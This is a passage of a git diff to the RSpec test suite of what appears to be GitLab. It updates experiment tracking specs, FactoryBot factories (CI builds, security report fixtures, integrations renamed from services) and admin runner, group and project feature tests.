+ expect(Experiment.last.name).to eq('namespaced/stub')
+ expect(ExperimentSubject.last.send(object_type)).to eq(context[context_key])
+ end
end
end
- end
- context 'when providing an incompatible or no context' do
- where(context_hash: [{ foo: :bar }, {}])
+ context "when there's not a usable subject" do
+ where(:context_key, :context_value) do
+ :namespace | nil
+ :foo | :bar
+ end
- with_them do
- let(:context) { context_hash }
+ with_them do
+ it "doesn't create an experiment record" do
+ expect { subject.publish_to_database }.not_to change(Experiment, :count)
+ end
- it 'does not record the experiment' do
- expect { subject.publish }.not_to change(Experiment, :count)
+ it "doesn't create an experiment subject record" do
+ expect { subject.publish_to_database }.not_to change(ExperimentSubject, :count)
+ end
end
end
end
end
- describe "tracking events", :snowplow do
+ describe "#track", :snowplow do
+ let(:fake_context) do
+ SnowplowTracker::SelfDescribingJson.new('iglu:com.gitlab/fake/jsonschema/0-0-0', { data: '_data_' })
+ end
+
it "doesn't track if we shouldn't track" do
allow(subject).to receive(:should_track?).and_return(false)
@@ -169,9 +163,7 @@ RSpec.describe ApplicationExperiment, :experiment do
end
it "tracks the event with the expected arguments and merged contexts" do
- subject.track(:action, property: '_property_', context: [
- SnowplowTracker::SelfDescribingJson.new('iglu:com.gitlab/fake/jsonschema/0-0-0', { data: '_data_' })
- ])
+ subject.track(:action, property: '_property_', context: [fake_context])
expect_snowplow_event(
category: 'namespaced/stub',
@@ -189,9 +181,35 @@ RSpec.describe ApplicationExperiment, :experiment do
]
)
end
+
+ it "tracks the event correctly even when using the base class" do
+ subject = Gitlab::Experiment.new(:unnamed)
+ subject.track(:action, context: [fake_context])
+
+ expect_snowplow_event(
+ category: 'unnamed',
+ action: 'action',
+ context: [
+ {
+ schema: 'iglu:com.gitlab/fake/jsonschema/0-0-0',
+ data: { data: '_data_' }
+ },
+ {
+ schema: 'iglu:com.gitlab/gitlab_experiment/jsonschema/1-0-0',
+ data: { experiment: 'unnamed', key: subject.context.key, variant: 'control' }
+ }
+ ]
+ )
+ end
+ end
+
+ describe "#key_for" do
+ it "generates MD5 hashes" do
+ expect(subject.key_for(foo: :bar)).to eq('6f9ac12afdb9b58c2f19a136d09f9153')
+ end
end
- describe "variant resolution" do
+ context "when resolving variants" do
it "uses the default value as specified in the yaml" do
expect(Feature).to receive(:enabled?).with('namespaced_stub', subject, type: :experiment, default_enabled: :yaml)
diff --git a/spec/experiments/new_project_readme_content_experiment_spec.rb b/spec/experiments/new_project_readme_content_experiment_spec.rb
new file mode 100644
index 00000000000..92a883078df
--- /dev/null
+++ b/spec/experiments/new_project_readme_content_experiment_spec.rb
@@ -0,0 +1,36 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe NewProjectReadmeContentExperiment, :experiment do
+ subject { described_class.new(namespace: project.namespace) }
+
+ let(:project) { create(:project, name: 'Experimental', description: 'An experiment project') }
+
+ it "renders the basic README" do
+ expect(subject.run_with(project)).to eq(<<~MARKDOWN.strip)
+ # Experimental
+
+ An experiment project
+ MARKDOWN
+ end
+
+ describe "the advanced variant" do
+ let(:markdown) { subject.run_with(project, variant: :advanced) }
+ let(:initial_url) { 'https://docs.gitlab.com/ee/user/project/repository/web_editor.html#create-a-file' }
+
+ it "renders the project details" do
+ expect(markdown).to include(<<~MARKDOWN.strip)
+ # Experimental
+
+ An experiment project
+
+ ## Getting started
+ MARKDOWN
+ end
+
+ it "renders redirect URLs" do
+ expect(markdown).to include(Rails.application.routes.url_helpers.experiment_redirect_url(subject, initial_url))
+ end
+ end
+end
diff --git a/spec/factories/audit_events.rb b/spec/factories/audit_events.rb
index 05b86d2f13b..10f60591922 100644
--- a/spec/factories/audit_events.rb
+++ b/spec/factories/audit_events.rb
@@ -51,6 +51,7 @@ FactoryBot.define do
trait :unauthenticated do
author_id { -1 }
+ author_name { 'An unauthenticated user' }
details do
{
custom_message: 'Custom action',
diff --git a/spec/factories/ci/builds.rb b/spec/factories/ci/builds.rb
index 395d3ea598c..0e535aeaa8d 100644
--- a/spec/factories/ci/builds.rb
+++ b/spec/factories/ci/builds.rb
@@ -508,6 +508,14 @@ FactoryBot.define do
end
end
+ trait :cluster_image_scanning do
+ options do
+ {
+ artifacts: { reports: { cluster_image_scanning: 'gl-cluster-image-scanning-report.json' } }
+ }
+ end
+ end
+
trait :license_scanning do
options do
{
diff --git a/spec/factories/ci/pending_builds.rb b/spec/factories/ci/pending_builds.rb
new file mode 100644
index 00000000000..90779ae8ab9
--- /dev/null
+++ b/spec/factories/ci/pending_builds.rb
@@ -0,0 +1,10 @@
+# frozen_string_literal: true
+
+FactoryBot.define do
+ factory :ci_pending_build, class: 'Ci::PendingBuild' do
+ build factory: :ci_build
+ project
+ protected { build.protected }
+ instance_runners_enabled { true }
+ end
+end
diff --git a/spec/factories/ci/reports/security/identifiers.rb b/spec/factories/ci/reports/security/identifiers.rb
new file mode 100644
index 00000000000..5211cb5c54a
--- /dev/null
+++ b/spec/factories/ci/reports/security/identifiers.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+FactoryBot.define do
+ factory :ci_reports_security_identifier, class: '::Gitlab::Ci::Reports::Security::Identifier' do
+ external_id { 'PREDICTABLE_RANDOM' }
+ external_type { 'find_sec_bugs_type' }
+ name { "#{external_type}-#{external_id}" }
+
+ skip_create
+
+ initialize_with do
+ ::Gitlab::Ci::Reports::Security::Identifier.new(**attributes)
+ end
+ end
+end
diff --git a/spec/factories/ci/reports/security/links.rb b/spec/factories/ci/reports/security/links.rb
new file mode 100644
index 00000000000..77af827e7be
--- /dev/null
+++ b/spec/factories/ci/reports/security/links.rb
@@ -0,0 +1,14 @@
+# frozen_string_literal: true
+
+FactoryBot.define do
+ factory :ci_reports_security_link, class: '::Gitlab::Ci::Reports::Security::Link' do
+ name { 'CVE-2020-0202' }
+ url { 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-0202' }
+
+ skip_create
+
+ initialize_with do
+ ::Gitlab::Ci::Reports::Security::Link.new(**attributes)
+ end
+ end
+end
diff --git a/spec/factories/ci/reports/security/scanners.rb b/spec/factories/ci/reports/security/scanners.rb
new file mode 100644
index 00000000000..8b68ebdb47a
--- /dev/null
+++ b/spec/factories/ci/reports/security/scanners.rb
@@ -0,0 +1,29 @@
+# frozen_string_literal: true
+
+FactoryBot.define do
+ factory :ci_reports_security_scanner, class: '::Gitlab::Ci::Reports::Security::Scanner' do
+ external_id { 'find_sec_bugs' }
+ name { 'Find Security Bugs' }
+ vendor { 'Security Scanner Vendor' }
+ version { '1.0.0' }
+
+ skip_create
+
+ initialize_with do
+ ::Gitlab::Ci::Reports::Security::Scanner.new(**attributes)
+ end
+ end
+
+ factory :ci_reports_security_scan, class: '::Gitlab::Ci::Reports::Security::Scan' do
+ status { 'success' }
+ type { 'sast' }
+ start_time { 'placeholder' }
+ end_time { 'placeholder' }
+
+ skip_create
+
+ initialize_with do
+ ::Gitlab::Ci::Reports::Security::Scan.new(attributes)
+ end
+ end
+end
diff --git a/spec/factories/ci/running_builds.rb b/spec/factories/ci/running_builds.rb
new file mode 100644
index 00000000000..96d2e6913f4
--- /dev/null
+++ b/spec/factories/ci/running_builds.rb
@@ -0,0 +1,10 @@
+# frozen_string_literal: true
+
+FactoryBot.define do
+ factory :ci_running_build, class: 'Ci::RunningBuild' do
+ build factory: :ci_build
+ project
+ runner factory: :ci_runner
+ runner_type { runner.runner_type }
+ end
+end
diff --git a/spec/factories/events.rb b/spec/factories/events.rb
index c9e4ada3ffa..d182dc9f95f 100644
--- a/spec/factories/events.rb
+++ b/spec/factories/events.rb
@@ -17,7 +17,6 @@ FactoryBot.define do
trait(:left) { action { :left } }
trait(:destroyed) { action { :destroyed } }
trait(:expired) { action { :expired } }
- trait(:archived) { action { :archived } }
trait(:approved) { action { :approved } }
factory :closed_issue_event do
diff --git a/spec/factories/integration_data.rb b/spec/factories/integration_data.rb
index a6b2693b8df..a7406794437 100644
--- a/spec/factories/integration_data.rb
+++ b/spec/factories/integration_data.rb
@@ -4,7 +4,7 @@
# The factories are used when creating integrations.
FactoryBot.define do
factory :jira_tracker_data, class: 'Integrations::JiraTrackerData' do
- integration factory: :jira_service
+ integration factory: :jira_integration
end
factory :issue_tracker_data, class: 'Integrations::IssueTrackerData' do
diff --git a/spec/factories/integrations.rb b/spec/factories/integrations.rb
index 1dd2839aa46..ed8a562b331 100644
--- a/spec/factories/integrations.rb
+++ b/spec/factories/integrations.rb
@@ -27,7 +27,7 @@ FactoryBot.define do
end
end
- factory :prometheus_service do
+ factory :prometheus_integration, class: 'Integrations::Prometheus' do
project
active { true }
properties do
@@ -45,7 +45,7 @@ FactoryBot.define do
token { 'test' }
end
- factory :jira_service, class: 'Integrations::Jira' do
+ factory :jira_integration, class: 'Integrations::Jira' do
project
active { true }
type { 'JiraService' }
@@ -91,13 +91,13 @@ FactoryBot.define do
issue_tracker
end
- factory :redmine_service, class: 'Integrations::Redmine' do
+ factory :redmine_integration, class: 'Integrations::Redmine' do
project
active { true }
issue_tracker
end
- factory :youtrack_service, class: 'Integrations::Youtrack' do
+ factory :youtrack_integration, class: 'Integrations::Youtrack' do
project
active { true }
issue_tracker
@@ -160,20 +160,21 @@ FactoryBot.define do
password { 'my-secret-password' }
end
- factory :slack_service, class: 'Integrations::Slack' do
+ # avoids conflict with slack_integration factory
+ factory :integrations_slack, class: 'Integrations::Slack' do
project
active { true }
webhook { 'https://slack.service.url' }
type { 'SlackService' }
end
- factory :slack_slash_commands_service, class: 'Integrations::SlackSlashCommands' do
+ factory :slack_slash_commands_integration, class: 'Integrations::SlackSlashCommands' do
project
active { true }
type { 'SlackSlashCommandsService' }
end
- factory :pipelines_email_service, class: 'Integrations::PipelinesEmail' do
+ factory :pipelines_email_integration, class: 'Integrations::PipelinesEmail' do
project
active { true }
type { 'PipelinesEmailService' }
diff --git a/spec/factories/merge_request_cleanup_schedules.rb b/spec/factories/merge_request_cleanup_schedules.rb
index a89d0c88731..ecf0d5818e4 100644
--- a/spec/factories/merge_request_cleanup_schedules.rb
+++ b/spec/factories/merge_request_cleanup_schedules.rb
@@ -3,6 +3,19 @@
FactoryBot.define do
factory :merge_request_cleanup_schedule, class: 'MergeRequest::CleanupSchedule' do
merge_request
- scheduled_at { Time.current }
+ scheduled_at { 1.day.ago }
+
+ trait :running do
+ status { MergeRequest::CleanupSchedule::STATUSES[:running] }
+ end
+
+ trait :completed do
+ status { MergeRequest::CleanupSchedule::STATUSES[:completed] }
+ completed_at { Time.current }
+ end
+
+ trait :failed do
+ status { MergeRequest::CleanupSchedule::STATUSES[:failed] }
+ end
end
end
diff --git a/spec/factories/merge_request_diff_commit_users.rb b/spec/factories/merge_request_diff_commit_users.rb
new file mode 100644
index 00000000000..94bd358454c
--- /dev/null
+++ b/spec/factories/merge_request_diff_commit_users.rb
@@ -0,0 +1,8 @@
+# frozen_string_literal: true
+
+FactoryBot.define do
+ factory :merge_request_diff_commit_user, class: 'MergeRequest::DiffCommitUser' do
+ name { generate(:name) }
+ email { generate(:email) }
+ end
+end
diff --git a/spec/factories/packages.rb b/spec/factories/packages.rb
index cedda8d0854..cd9c8a8bfbb 100644
--- a/spec/factories/packages.rb
+++ b/spec/factories/packages.rb
@@ -162,6 +162,12 @@ FactoryBot.define do
pkg.nuget_metadatum = build(:nuget_metadatum)
end
end
+
+ trait(:with_symbol_package) do
+ after :create do |package|
+ create :package_file, :snupkg, package: package, file_name: "#{package.name}.#{package.version}.snupkg"
+ end
+ end
end
factory :pypi_package do
diff --git a/spec/factories/packages/helm/file_metadatum.rb b/spec/factories/packages/helm/file_metadatum.rb
index e809f592546..cbc7e114ef6 100644
--- a/spec/factories/packages/helm/file_metadatum.rb
+++ b/spec/factories/packages/helm/file_metadatum.rb
@@ -3,7 +3,7 @@
FactoryBot.define do
factory :helm_file_metadatum, class: 'Packages::Helm::FileMetadatum' do
package_file { association(:helm_package_file, without_loaded_metadatum: true) }
- channel { 'stable' }
+ sequence(:channel) { |n| "#{FFaker::Lorem.word}-#{n}" }
metadata { { 'name': package_file.package.name, 'version': package_file.package.version, 'apiVersion': 'v2' } }
end
end
diff --git a/spec/factories/packages/package_file.rb b/spec/factories/packages/package_file.rb
index d82fbe02311..ac121da432c 100644
--- a/spec/factories/packages/package_file.rb
+++ b/spec/factories/packages/package_file.rb
@@ -205,6 +205,7 @@ FactoryBot.define do
package { association(:helm_package, without_package_files: true) }
file_name { "#{package.name}-#{package.version}.tgz" }
file_fixture { "spec/fixtures/packages/helm/rook-ceph-v1.5.8.tgz" }
+ file_sha256 { 'fd2b2fa0329e80a2a602c2bb3b40608bcd6ee5cf96cf46fd0d2800a4c129c9db' }
transient do
without_loaded_metadatum { false }
@@ -271,6 +272,14 @@ FactoryBot.define do
size { 300.kilobytes }
end
+ trait(:snupkg) do
+ package
+ file_fixture { 'spec/fixtures/packages/nuget/package.snupkg' }
+ file_name { 'package.snupkg' }
+ file_sha1 { '5fe852b2a6abd96c22c11fa1ff2fb19d9ce58b57' }
+ size { 300.kilobytes }
+ end
+
trait(:gem) do
package
file_fixture { 'spec/fixtures/packages/rubygems/package-0.0.1.gem' }
diff --git a/spec/factories/projects.rb b/spec/factories/projects.rb
index 6641d8749f9..84686c58a8e 100644
--- a/spec/factories/projects.rb
+++ b/spec/factories/projects.rb
@@ -396,24 +396,24 @@ FactoryBot.define do
factory :redmine_project, parent: :project do
has_external_issue_tracker { true }
- redmine_service
+ redmine_integration
end
factory :youtrack_project, parent: :project do
has_external_issue_tracker { true }
- youtrack_service
+ youtrack_integration
end
factory :jira_project, parent: :project do
has_external_issue_tracker { true }
- jira_service
+ jira_integration
end
factory :prometheus_project, parent: :project do
after :create do |project|
- project.create_prometheus_service(
+ project.create_prometheus_integration(
active: true,
properties: {
api_url: 'https://prometheus.example.com/',
diff --git a/spec/factories/usage_data.rb b/spec/factories/usage_data.rb
index 2aa926e4dd8..4593294fd14 100644
--- a/spec/factories/usage_data.rb
+++ b/spec/factories/usage_data.rb
@@ -9,16 +9,16 @@ FactoryBot.define do
projects << create(:project, :repository)
group = create(:group)
create(:board, project: projects[0])
- create(:jira_service, project: projects[0])
- create(:jira_service, :without_properties_callback, project: projects[1])
- create(:jira_service, :jira_cloud_service, project: projects[2])
- create(:jira_service, :without_properties_callback, project: projects[3], properties: { url: 'https://mysite.atlassian.net' })
+ create(:jira_integration, project: projects[0])
+ create(:jira_integration, :without_properties_callback, project: projects[1])
+ create(:jira_integration, :jira_cloud_service, project: projects[2])
+ create(:jira_integration, :without_properties_callback, project: projects[3], properties: { url: 'https://mysite.atlassian.net' })
jira_label = create(:label, project: projects[0])
create(:jira_import_state, :finished, project: projects[0], label: jira_label, failed_to_import_count: 2, imported_issues_count: 7, total_issue_count: 9)
create(:jira_import_state, :finished, project: projects[1], label: jira_label, imported_issues_count: 3, total_issue_count: 3)
create(:jira_import_state, :finished, project: projects[1], label: jira_label, imported_issues_count: 3)
create(:jira_import_state, :scheduled, project: projects[1], label: jira_label)
- create(:prometheus_service, project: projects[1])
+ create(:prometheus_integration, project: projects[1])
create(:service, project: projects[1], type: 'JenkinsService', active: true)
create(:service, project: projects[0], type: 'SlackSlashCommandsService', active: true)
create(:service, project: projects[1], type: 'SlackService', active: true)
diff --git a/spec/fast_spec_helper.rb b/spec/fast_spec_helper.rb
index 2f0bcd318d9..cd20019115d 100644
--- a/spec/fast_spec_helper.rb
+++ b/spec/fast_spec_helper.rb
@@ -20,5 +20,15 @@ require 'active_support/all'
ActiveSupport::Dependencies.autoload_paths << 'lib'
ActiveSupport::Dependencies.autoload_paths << 'ee/lib'
+ActiveSupport::Dependencies.autoload_paths << 'jh/lib'
ActiveSupport::XmlMini.backend = 'Nokogiri'
+
+RSpec.configure do |config|
+ unless ENV['CI']
+ # Allow running `:focus` examples locally,
+ # falling back to all tests when there is no `:focus` example.
+ config.filter_run focus: true
+ config.run_all_when_everything_filtered = true
+ end
+end
diff --git a/spec/features/admin/admin_appearance_spec.rb b/spec/features/admin/admin_appearance_spec.rb
index 5596ad7bf21..b96762ec6ad 100644
--- a/spec/features/admin/admin_appearance_spec.rb
+++ b/spec/features/admin/admin_appearance_spec.rb
@@ -90,7 +90,7 @@ RSpec.describe 'Admin Appearance' do
sign_in(admin)
gitlab_enable_admin_mode_sign_in(admin)
visit new_project_path
- find('[data-qa-selector="blank_project_link"]').click
+ find('[data-qa-panel-name="blank_project"]').click
expect_custom_new_project_appearance(appearance)
end
diff --git a/spec/features/admin/admin_dev_ops_report_spec.rb b/spec/features/admin/admin_dev_ops_report_spec.rb
index 33f984af807..8f1960b681c 100644
--- a/spec/features/admin/admin_dev_ops_report_spec.rb
+++ b/spec/features/admin/admin_dev_ops_report_spec.rb
@@ -32,7 +32,7 @@ RSpec.describe 'DevOps Report page', :js do
it 'shows empty state' do
visit admin_dev_ops_report_path
- expect(page).to have_selector(".js-empty-state")
+ expect(page).to have_text('Service ping is off')
end
it 'hides the intro callout' do
diff --git a/spec/features/admin/admin_groups_spec.rb b/spec/features/admin/admin_groups_spec.rb
index f9673a8aa2f..7d7b2baf941 100644
--- a/spec/features/admin/admin_groups_spec.rb
+++ b/spec/features/admin/admin_groups_spec.rb
@@ -132,6 +132,19 @@ RSpec.describe 'Admin Groups' do
expect(page).to have_text(note_text)
end
+
+ context 'when group has open access requests' do
+ let!(:access_request) { create(:group_member, :access_request, group: group) }
+
+ it 'shows access requests with link to manage access' do
+ visit admin_group_path(group)
+
+ page.within '[data-testid="access-requests"]' do
+ expect(page).to have_content access_request.user.name
+ expect(page).to have_link 'Manage access', href: group_group_members_path(group, tab: 'access_requests')
+ end
+ end
+ end
end
describe 'group edit' do
diff --git a/spec/features/admin/admin_mode/workers_spec.rb b/spec/features/admin/admin_mode/workers_spec.rb
index fbbcf19063b..0caa883fb5b 100644
--- a/spec/features/admin/admin_mode/workers_spec.rb
+++ b/spec/features/admin/admin_mode/workers_spec.rb
@@ -4,6 +4,8 @@ require 'spec_helper'
# Test an operation that triggers background jobs requiring administrative rights
RSpec.describe 'Admin mode for workers', :request_store do
+ include Spec::Support::Helpers::Features::AdminUsersHelpers
+
let(:user) { create(:user) }
let(:user_to_delete) { create(:user) }
@@ -37,7 +39,8 @@ RSpec.describe 'Admin mode for workers', :request_store do
it 'can delete user', :js do
visit admin_user_path(user_to_delete)
- click_button 'Delete user'
+
+ click_action_in_user_dropdown(user_to_delete.id, 'Delete user')
page.within '.modal-dialog' do
find("input[name='username']").send_keys(user_to_delete.name)
diff --git a/spec/features/admin/admin_projects_spec.rb b/spec/features/admin/admin_projects_spec.rb
index cbbe9aa3b8b..15def00f354 100644
--- a/spec/features/admin/admin_projects_spec.rb
+++ b/spec/features/admin/admin_projects_spec.rb
@@ -52,6 +52,8 @@ RSpec.describe "Admin::Projects" do
end
describe "GET /admin/projects/:namespace_id/:id" do
+ let!(:access_request) { create(:project_member, :access_request, project: project) }
+
before do
expect(project).to be_persisted
@@ -67,6 +69,15 @@ RSpec.describe "Admin::Projects" do
expect(page).to have_content(project.creator.name)
expect(page).to have_content(project.id)
end
+
+ context 'when project has open access requests' do
+ it 'shows access requests with link to manage access' do
+ page.within '[data-testid="access-requests"]' do
+ expect(page).to have_content access_request.user.name
+ expect(page).to have_link 'Manage access', href: project_project_members_path(project, tab: 'access_requests')
+ end
+ end
+ end
end
describe 'transfer project' do
diff --git a/spec/features/admin/admin_runners_spec.rb b/spec/features/admin/admin_runners_spec.rb
index d7a267fec69..54c07985a21 100644
--- a/spec/features/admin/admin_runners_spec.rb
+++ b/spec/features/admin/admin_runners_spec.rb
@@ -4,8 +4,6 @@ require 'spec_helper'
RSpec.describe "Admin Runners" do
include StubENV
- include FilteredSearchHelpers
- include SortingHelper
before do
stub_env('IN_MEMORY_APPLICATION_SETTINGS', 'false')
@@ -14,31 +12,68 @@ RSpec.describe "Admin Runners" do
gitlab_enable_admin_mode_sign_in(admin)
end
- describe "Runners page" do
- let(:pipeline) { create(:ci_pipeline) }
-
- before do
- stub_feature_flags(runner_list_view_vue_ui: false)
- end
+ describe "Runners page", :js do
+ let_it_be(:user) { create(:user) }
+ let_it_be(:group) { create(:group) }
+ let_it_be(:namespace) { create(:namespace) }
+ let_it_be(:project) { create(:project, namespace: namespace, creator: user) }
context "when there are runners" do
it 'has all necessary texts' do
- runner = create(:ci_runner, contacted_at: Time.now)
- create(:ci_build, pipeline: pipeline, runner_id: runner.id)
+ create(:ci_runner, :instance, contacted_at: Time.now)
+
visit admin_runners_path
expect(page).to have_text "Set up a shared runner manually"
expect(page).to have_text "Runners currently online: 1"
end
- describe 'search', :js do
+ it 'with an instance runner shows an instance badge and no project count' do
+ runner = create(:ci_runner, :instance)
+
+ visit admin_runners_path
+
+ within "[data-testid='runner-row-#{runner.id}']" do
+ expect(page).to have_selector '.badge', text: 'shared'
+ expect(page).to have_text 'n/a'
+ end
+ end
+
+ it 'with a group runner shows a group badge and no project count' do
+ runner = create(:ci_runner, :group, groups: [group])
+
+ visit admin_runners_path
+
+ within "[data-testid='runner-row-#{runner.id}']" do
+ expect(page).to have_selector '.badge', text: 'group'
+ expect(page).to have_text 'n/a'
+ end
+ end
+
+ it 'with a project runner shows a project badge and project count' do
+ runner = create(:ci_runner, :project, projects: [project])
+
+ visit admin_runners_path
+
+ within "[data-testid='runner-row-#{runner.id}']" do
+ expect(page).to have_selector '.badge', text: 'specific'
+ expect(page).to have_text '1'
+ end
+ end
+
+ describe 'search' do
before do
- create(:ci_runner, description: 'runner-foo')
- create(:ci_runner, description: 'runner-bar')
+ create(:ci_runner, :instance, description: 'runner-foo')
+ create(:ci_runner, :instance, description: 'runner-bar')
visit admin_runners_path
end
+ it 'shows runners' do
+ expect(page).to have_content("runner-foo")
+ expect(page).to have_content("runner-bar")
+ end
+
it 'shows correct runner when description matches' do
input_filtered_search_keys('runner-foo')
@@ -53,28 +88,29 @@ RSpec.describe "Admin Runners" do
end
end
- describe 'filter by status', :js do
+ describe 'filter by status' do
it 'shows correct runner when status matches' do
- create(:ci_runner, description: 'runner-active', active: true)
- create(:ci_runner, description: 'runner-paused', active: false)
+ create(:ci_runner, :instance, description: 'runner-active', active: true)
+ create(:ci_runner, :instance, description: 'runner-paused', active: false)
visit admin_runners_path
expect(page).to have_content 'runner-active'
expect(page).to have_content 'runner-paused'
- input_filtered_search_keys('status:=active')
+ input_filtered_search_filter_is_only('Status', 'Active')
+
expect(page).to have_content 'runner-active'
expect(page).not_to have_content 'runner-paused'
end
it 'shows no runner when status does not match' do
- create(:ci_runner, :online, description: 'runner-active', active: true)
- create(:ci_runner, :online, description: 'runner-paused', active: false)
+ create(:ci_runner, :instance, description: 'runner-active', active: true)
+ create(:ci_runner, :instance, description: 'runner-paused', active: false)
visit admin_runners_path
- input_filtered_search_keys('status:=offline')
+ input_filtered_search_filter_is_only('Status', 'Online')
expect(page).not_to have_content 'runner-active'
expect(page).not_to have_content 'runner-paused'
@@ -83,46 +119,48 @@ RSpec.describe "Admin Runners" do
end
it 'shows correct runner when status is selected and search term is entered' do
- create(:ci_runner, description: 'runner-a-1', active: true)
- create(:ci_runner, description: 'runner-a-2', active: false)
- create(:ci_runner, description: 'runner-b-1', active: true)
+ create(:ci_runner, :instance, description: 'runner-a-1', active: true)
+ create(:ci_runner, :instance, description: 'runner-a-2', active: false)
+ create(:ci_runner, :instance, description: 'runner-b-1', active: true)
visit admin_runners_path
- input_filtered_search_keys('status:=active')
+ input_filtered_search_filter_is_only('Status', 'Active')
+
expect(page).to have_content 'runner-a-1'
expect(page).to have_content 'runner-b-1'
expect(page).not_to have_content 'runner-a-2'
- input_filtered_search_keys('status:=active runner-a')
+ input_filtered_search_keys('runner-a')
+
expect(page).to have_content 'runner-a-1'
expect(page).not_to have_content 'runner-b-1'
expect(page).not_to have_content 'runner-a-2'
end
end
- describe 'filter by type', :js do
- it 'shows correct runner when type matches' do
- create :ci_runner, :project, description: 'runner-project'
- create :ci_runner, :group, description: 'runner-group'
+ describe 'filter by type' do
+ before do
+ create(:ci_runner, :project, description: 'runner-project', projects: [project])
+ create(:ci_runner, :group, description: 'runner-group', groups: [group])
+ end
+ it 'shows correct runner when type matches' do
visit admin_runners_path
expect(page).to have_content 'runner-project'
expect(page).to have_content 'runner-group'
- input_filtered_search_keys('type:=project_type')
+ input_filtered_search_filter_is_only('Type', 'project')
+
expect(page).to have_content 'runner-project'
expect(page).not_to have_content 'runner-group'
end
it 'shows no runner when type does not match' do
- create :ci_runner, :project, description: 'runner-project'
- create :ci_runner, :group, description: 'runner-group'
-
visit admin_runners_path
- input_filtered_search_keys('type:=instance_type')
+ input_filtered_search_filter_is_only('Type', 'instance')
expect(page).not_to have_content 'runner-project'
expect(page).not_to have_content 'runner-group'
@@ -131,95 +169,93 @@ RSpec.describe "Admin Runners" do
end
it 'shows correct runner when type is selected and search term is entered' do
- create :ci_runner, :project, description: 'runner-a-1'
- create :ci_runner, :instance, description: 'runner-a-2'
- create :ci_runner, :project, description: 'runner-b-1'
+ create(:ci_runner, :project, description: 'runner-2-project', projects: [project])
visit admin_runners_path
- input_filtered_search_keys('type:=project_type')
- expect(page).to have_content 'runner-a-1'
- expect(page).to have_content 'runner-b-1'
- expect(page).not_to have_content 'runner-a-2'
+ input_filtered_search_filter_is_only('Type', 'project')
- input_filtered_search_keys('type:=project_type runner-a')
- expect(page).to have_content 'runner-a-1'
- expect(page).not_to have_content 'runner-b-1'
- expect(page).not_to have_content 'runner-a-2'
+ expect(page).to have_content 'runner-project'
+ expect(page).to have_content 'runner-2-project'
+ expect(page).not_to have_content 'runner-group'
+
+ input_filtered_search_keys('runner-project')
+
+ expect(page).to have_content 'runner-project'
+ expect(page).not_to have_content 'runner-2-project'
+ expect(page).not_to have_content 'runner-group'
end
end
- describe 'filter by tag', :js do
- it 'shows correct runner when tag matches' do
- create :ci_runner, description: 'runner-blue', tag_list: ['blue']
- create :ci_runner, description: 'runner-red', tag_list: ['red']
+ describe 'filter by tag' do
+ before do
+ create(:ci_runner, :instance, description: 'runner-blue', tag_list: ['blue'])
+ create(:ci_runner, :instance, description: 'runner-red', tag_list: ['red'])
+ end
+ it 'shows correct runner when tag matches' do
visit admin_runners_path
expect(page).to have_content 'runner-blue'
expect(page).to have_content 'runner-red'
- input_filtered_search_keys('tag:=blue')
+ input_filtered_search_filter_is_only('Tags', 'blue')
expect(page).to have_content 'runner-blue'
expect(page).not_to have_content 'runner-red'
end
it 'shows no runner when tag does not match' do
- create :ci_runner, description: 'runner-blue', tag_list: ['blue']
- create :ci_runner, description: 'runner-red', tag_list: ['blue']
-
visit admin_runners_path
- input_filtered_search_keys('tag:=red')
+ input_filtered_search_filter_is_only('Tags', 'green')
expect(page).not_to have_content 'runner-blue'
- expect(page).not_to have_content 'runner-blue'
expect(page).to have_text 'No runners found'
end
it 'shows correct runner when tag is selected and search term is entered' do
- create :ci_runner, description: 'runner-a-1', tag_list: ['blue']
- create :ci_runner, description: 'runner-a-2', tag_list: ['red']
- create :ci_runner, description: 'runner-b-1', tag_list: ['blue']
+ create(:ci_runner, :instance, description: 'runner-2-blue', tag_list: ['blue'])
visit admin_runners_path
- input_filtered_search_keys('tag:=blue')
+ input_filtered_search_filter_is_only('Tags', 'blue')
- expect(page).to have_content 'runner-a-1'
- expect(page).to have_content 'runner-b-1'
- expect(page).not_to have_content 'runner-a-2'
+ expect(page).to have_content 'runner-blue'
+ expect(page).to have_content 'runner-2-blue'
+ expect(page).not_to have_content 'runner-red'
- input_filtered_search_keys('tag:=blue runner-a')
+ input_filtered_search_keys('runner-2-blue')
- expect(page).to have_content 'runner-a-1'
- expect(page).not_to have_content 'runner-b-1'
- expect(page).not_to have_content 'runner-a-2'
+ expect(page).to have_content 'runner-2-blue'
+ expect(page).not_to have_content 'runner-blue'
+ expect(page).not_to have_content 'runner-red'
end
end
- it 'sorts by last contact date', :js do
- create(:ci_runner, description: 'runner-1', created_at: '2018-07-12 15:37', contacted_at: '2018-07-12 15:37')
- create(:ci_runner, description: 'runner-2', created_at: '2018-07-12 16:37', contacted_at: '2018-07-12 16:37')
+ it 'sorts by last contact date' do
+ create(:ci_runner, :instance, description: 'runner-1', created_at: '2018-07-12 15:37', contacted_at: '2018-07-12 15:37')
+ create(:ci_runner, :instance, description: 'runner-2', created_at: '2018-07-12 16:37', contacted_at: '2018-07-12 16:37')
visit admin_runners_path
- within '[data-testid="runners-table"] .gl-responsive-table-row:nth-child(2)' do
+ within '[data-testid="runner-list"] tbody tr:nth-child(1)' do
expect(page).to have_content 'runner-2'
end
- within '[data-testid="runners-table"] .gl-responsive-table-row:nth-child(3)' do
+ within '[data-testid="runner-list"] tbody tr:nth-child(2)' do
expect(page).to have_content 'runner-1'
end
- sorting_by 'Last Contact'
+ click_on 'Created date' # Open "sort by" dropdown
+ click_on 'Last contact'
+ click_on 'Sort direction: Descending'
- within '[data-testid="runners-table"] .gl-responsive-table-row:nth-child(2)' do
+ within '[data-testid="runner-list"] tbody tr:nth-child(1)' do
expect(page).to have_content 'runner-1'
end
- within '[data-testid="runners-table"] .gl-responsive-table-row:nth-child(3)' do
+ within '[data-testid="runner-list"] tbody tr:nth-child(2)' do
expect(page).to have_content 'runner-2'
end
end
@@ -237,47 +273,6 @@ RSpec.describe "Admin Runners" do
end
end
- context 'group runner' do
- let(:group) { create(:group) }
- let!(:runner) { create(:ci_runner, :group, groups: [group]) }
-
- it 'shows the label and does not show the project count' do
- visit admin_runners_path
-
- within "[data-testid='runner-row-#{runner.id}']" do
- expect(page).to have_selector '.badge', text: 'group'
- expect(page).to have_text 'n/a'
- end
- end
- end
-
- context 'shared runner' do
- it 'shows the label and does not show the project count' do
- runner = create(:ci_runner, :instance)
-
- visit admin_runners_path
-
